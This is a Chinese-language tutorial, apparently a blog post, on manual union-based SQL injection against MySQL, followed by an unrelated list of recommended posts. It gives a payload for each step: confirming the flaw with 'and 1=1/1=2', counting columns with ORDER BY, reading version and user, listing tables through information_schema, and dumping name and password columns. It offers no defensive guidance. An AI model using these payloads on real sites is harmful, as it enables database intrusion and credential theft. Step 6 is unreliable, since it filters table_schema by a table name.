web安全之简要sql注入

SQL注入原理:可控变量,带入数据库查询,变量中未存在过滤或者过滤不严谨

如何判断注入点?(以下数据库类型为mysql)

老办法:

and 1=1 页面正常

and 1=2 页面错误

可能存在注入点

但是要选用最舒服的方法去测试!

讲一下老方法的原理

select * from users where id=1 and 1=1,正常

select * from users where id=1 and 1=2,错误

前面都是正确的语句,区别在于后面。

如果是1=1,那么就是真且真,结果为真

如果是1=2,那么就是真且假,结果为假

就是说你所自定义的1=1或者1=2,被网站正常执行到了,所以就存在注入点

那么我们就可以自定义一些sql语句,获取数据库的数据,写sql语句可以用到联合查询UNION这个关键字

操作流程如下:

1.判断注入

2.猜测列名数量(字段数),一般用order by去猜

select * from users where id=1 order by (1~n),直到页面不正常即为字段数,比如4正常,5不正常,则字段数为4。

3.猜解准备

select * from users where id=-1 union select 1,2,3,4,正常

注意:id=-1,让前面的语句为错误语句,即可只执行后面的语句,这样的作用是看下哪几列数据可以显示出来,然后将能显示的替换成注入语句即可

4.信息收集

数据库版本:version()

数据库名称:database()

数据库用户:user()

操作系统:@@version_compile_o s

比如说正常显示2和3,那就可以写

select * from users where id=-1 union select 1,database(),version(),4

5.查询指定数据库名下的表名信息

如果是mysql5.0以上,则存在information_schema,其中存储所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

table_schema:数据库名

举例:select * from users where id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='这里写数据库名称'

group_concat()是把多行结果并作一行显示

6.查询指定表名下的列名信息

select * from users where id=-1 union select 1,column_name,3,4 from information_schema.columns where table_schema='这里写表名'

7.查询指定数据

select * from users where id=-1 union select 1,name,password,4 from 表名

相关推荐
稚辉君.MCA_P8_Java5 分钟前
WebSocket 是什么原理?为什么可以实现持久连接?
网络·数据库·websocket·网络协议
小光学长23 分钟前
基于Vue的图书馆座位预约系统6emrqhc8(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
前端·数据库·vue.js
code小毛孩1 小时前
如何简单的并且又能大幅度降低任务队列的锁粒度、提高吞吐量?
java·jvm·数据库
风随心飞飞1 小时前
linux 环境下mysql 数据库自动备份和清库 通过crontab 创建定时任务实现mysql数据库备份
linux·数据库·mysql
奥尔特星云大使1 小时前
读写分离中间件简介
数据库·mysql·中间件·读写分离
友莘居士2 小时前
高效处理 Excel 海量数据入库:编程脚本、CSV 中间件、图形工具优化全攻略
数据库·中间件·excel·csv·海量数据·入库
Han.miracle3 小时前
数据库圣经第二章——简单的my.ini基础配置介绍
数据库
八怪3 小时前
KILL MTS的一个worker线程会怎么样
数据库
-Xie-4 小时前
Mysql杂志(三十一)——Join连接算法与子查询、排序优化
数据库·mysql
xiejava10184 小时前
开源安全管理平台wazuh-暴力破解检测与响应
安全·开源·wuzuh